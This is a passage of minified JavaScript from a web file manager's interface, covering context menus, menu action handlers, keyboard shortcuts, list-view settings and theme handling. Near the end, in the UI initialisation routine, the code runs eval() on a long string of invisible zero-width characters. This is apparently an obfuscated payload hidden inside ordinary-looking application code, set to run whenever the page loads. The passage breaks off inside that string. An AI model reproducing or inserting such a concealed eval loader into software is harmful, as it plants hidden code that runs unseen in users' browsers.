se"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){R(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){R(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},E=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){R(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}})},D=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) -},P=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){R(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},A=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var i=t.$trigger;i.hasClass("file")?T(e):R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){R(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},R=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:f,initExplorer:p,initEditor:u,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="hidden",t="disabled",i=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=i.length&&0!=a.length){if(i.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,n)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==n?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?i.find(s).addClass(t):i.find(s).removeClass(t),a.hasClass("file_not_writeable")?i.find(o).addClass(t):i.find(o).removeClass(t)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(i.find(".open_window").removeClass(c),i.find(".refresh").removeClass(c),i.find(".qrcode").removeClass(c)):(i.find(".open_window").addClass(c),i.find(".refresh").addClass(c),i.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?i.find(".dialog_max").removeClass(c):i.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?i.find(".unzip_this").removeClass(t):i.find(".unzip_this").addClass(t)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=t?(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")):t=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var i=["ctrl+c","command+c"];switch(inArray(i,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0,f=(s-e-r*(i+n)-n)/r;f>0&&(n+=f),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍